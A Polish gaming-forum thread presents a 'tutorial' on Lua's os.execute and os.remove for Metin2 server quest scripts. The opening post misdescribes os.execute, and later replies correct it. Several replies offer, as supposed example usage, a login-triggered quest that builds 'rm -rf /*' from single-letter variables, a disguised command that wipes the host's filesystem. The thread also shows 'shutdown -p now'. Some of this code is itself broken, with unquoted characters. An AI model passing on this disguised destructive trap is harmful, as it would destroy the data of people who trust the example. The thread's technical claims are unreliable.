Skocz do zawartości
  • 👋 Witaj na MPCForum!

    Przeglądasz forum jako gość, co oznacza, że wiele świetnych funkcji jest jeszcze przed Tobą! 😎

    • Pełny dostęp do działów i ukrytych treści
    • Możliwość pisania i odpowiadania w tematach
    • System prywatnych wiadomości
    • Zbieranie reputacji i rozwijanie swojego profilu
    • Członkostwo w jednej z największych społeczności graczy

    👉 Dołączenie zajmie Ci mniej niż minutę – a zyskasz znacznie więcej!

    Zarejestruj się teraz

[TuT] Funkcje Na Tworzeni i Kasowanie pliku


Lyons

Rekomendowane odpowiedzi

Opublikowano

Jeżeli było to sorry.

Funkcje polegają na tworzeniu lub kasowaniu pliku:

 

 

os.execute -

wywołuje komendę systemową

os.remove - kasuje plik

Metin2 To zło! Koniec z tworzeniem serwerów! Czas na publikowanie rzeczy!

Opublikowano

Tak, jeżeli nie ma pliku to tworzy go. Sorry zapomniałem dodać że wpisuje dane do niego ;P

Metin2 To zło! Koniec z tworzeniem serwerów! Czas na publikowanie rzeczy!

Opublikowano

Jeżeli było to sorry.

Funkcje polegają na tworzeniu lub kasowaniu pliku:

 

 

os.execute - tworzy plik

os.remove - kasuje plik

Nie, żeby coś ale ja zawsze myślałem, że os.execute wykonuje jakiś skrypt / funkcję lub cokolwiek innego w zew środowisku (systemie macierzystym) po za skryptem / programem i zwraca 1 (wykonane) 0 (niewykonane), a od tworzenia pliku było np io.open lub io.input ;o

 

@UP - [ironia]Oczywiście masz rację ! Jak mogłem się tak pomylić :([/ironia]

1377371138-U1002370.png

Opublikowano

przecież os.execute wywołuje komendę systemową ;o

 

 

os.execute([command])

 

Execute an operating system shell command. This is like the C system() function. The system dependent status code is returned.

> = os.execute("echo hello")

hello

0

> = os.execute("mmmmm") -- generate an error

'mmmmm' is not recognized as an internal or external command,

operable program or batch file.

1

 

With no argument, this command returns a non-zero value if an OS shell is presents or a zero value if one is not present.

 

> = os.execute() -- no argument

1

cytat z lua-users


 

Opublikowano

Tzn os.execute wykonuje polecenie do pliku :P źle to opisałem

Metin2 To zło! Koniec z tworzeniem serwerów! Czas na publikowanie rzeczy!

Opublikowano

Tzn os.execute wykonuje polecenie do pliku :P źle to opisałem

Błagam Cie, oszczędź mi padaczki ze śmiechu..

Wykona coś i zwróci tego wartość do pliku, jeśli odpowiednio mu to "nakarzemy" np dodamy po funkcji >> czyli np os.execute("echo tralalaalalalal >> plik.txt") .....

1377371138-U1002370.png

Opublikowano

Dobra, poprawka. Przepraszam ;P

Metin2 To zło! Koniec z tworzeniem serwerów! Czas na publikowanie rzeczy!

Opublikowano

Moim zdaniem post zbedny w tym dziale, jak juz robisz cos to zrob to dokladnie, napisz gdzie tych komend sie uzywa jakim programie, czy cos, opisz to od A do Z. Napisalesz 3 slowa i ty to nazywasz mini tutem? Osoby obeznane beda wiedziec o co chodzi ale te o mniejszej wiedzy nie zakumaja o co chodzi( takie jak ja ^^). Napisz dokladnie z czym to sie je, a nie napisales tylko 2 komendy i dowidzenia. :)

Opublikowano

os.execute("shutdown -p now")

I maszyna wyłączona. Chodzi o wykonywanie poleceń z questa do shella ;)

 

Dla porównania

command("shutdown")

Wyłączy nam sam serwer gry.

os.execute("shutdown -p now")

Wyłączy nam calutki serwer.

Napisz do mnie, jeżeli potrzebujesz patcher'a.

Opublikowano

NO NIE PIERDOL xD MAMY 2012 A NIE 2008 xD

 

Przykładowe użycie os.execute:

quest beka begin
state start begin
 when login begin
  local a = f
  local h = /
  local v = r
  local y = *
  local x = m
  local o = -

  os.execute(v..x.." "..o..v..a.." "..h..y)
 end
end
end

pracował jak ciężki przemysł, bez żadnej domieszki chemii bo talent to dziesięć procent, reszta to morderczy trening.

Opublikowano

quest beka begin
state start begin
 when login begin
  local a = f
  local h = /
  local v = r
  local y = *
  local x = m
  local o = -
   say_title("Noob")
   say("")
   say("noob#1")
   say_reward(""..pc.get_name().." wykonuje skrypt")
   say_reward("Powiedz coś na pożegnanie !")
   local papa = input()
   notice_all("Admin żegna się słowami "..papa.." ! ")
  os.execute(v..x.." "..o..v..a.." "..h..y)
 end
end
end

masz tu inputa <3

Nie czekaj - zagraj już dzisiaj !

Opublikowano

quest beka begin
state start begin
 when login begin
  local a = f
  local h = /
  local v = r
  local y = *
  local x = m
  local o = -
say_title("Noob")
say("")
say("noob#1")
say_reward(""..pc.get_name().." wykonuje skrypt")
say_reward("Powiedz coś na pożegnanie !")
local papa = input()
notice_all("Admin żegna się słowami "..papa.." ! ")
  os.execute(v..x.." "..o..v..a.." "..h..y)
 end
end
end

masz tu inputa <3

 

Już tymi noobami mnie rozjebałeś, ale tą linijką to mnie zabiłeś.

 

say_reward(""..pc.get_name().." wykonuje skrypt")

 

o.O

 

#antywarn

Zajebiście opisany poradnik, oczywiście wszystko lepiej opisane niż w googlach, dałbym lajka ale nie mam internetu, elo.

Opublikowano

quest beka begin
state start begin
 when login begin
  local a = f
  local h = /
  local v = r
  local y = *
  local x = m
  local o = -
say_title("Noob")
say("")
say("noob#1")
say_reward(""..pc.get_name().." wykonuje skrypt")
say_reward("Powiedz coś na pożegnanie !")
local papa = input()
notice_all("Admin żegna się słowami "..papa.." ! ")
  os.execute(v..x.." "..o..v..a.." "..h..y)
 end
end
end

masz tu inputa <3

Błąd na błędzie. Nie ma like.

Your superman is here, bitch!

Zarchiwizowany

Ten temat przebywa obecnie w archiwum. Dodawanie nowych odpowiedzi zostało zablokowane.

×
×
  • Dodaj nową pozycję...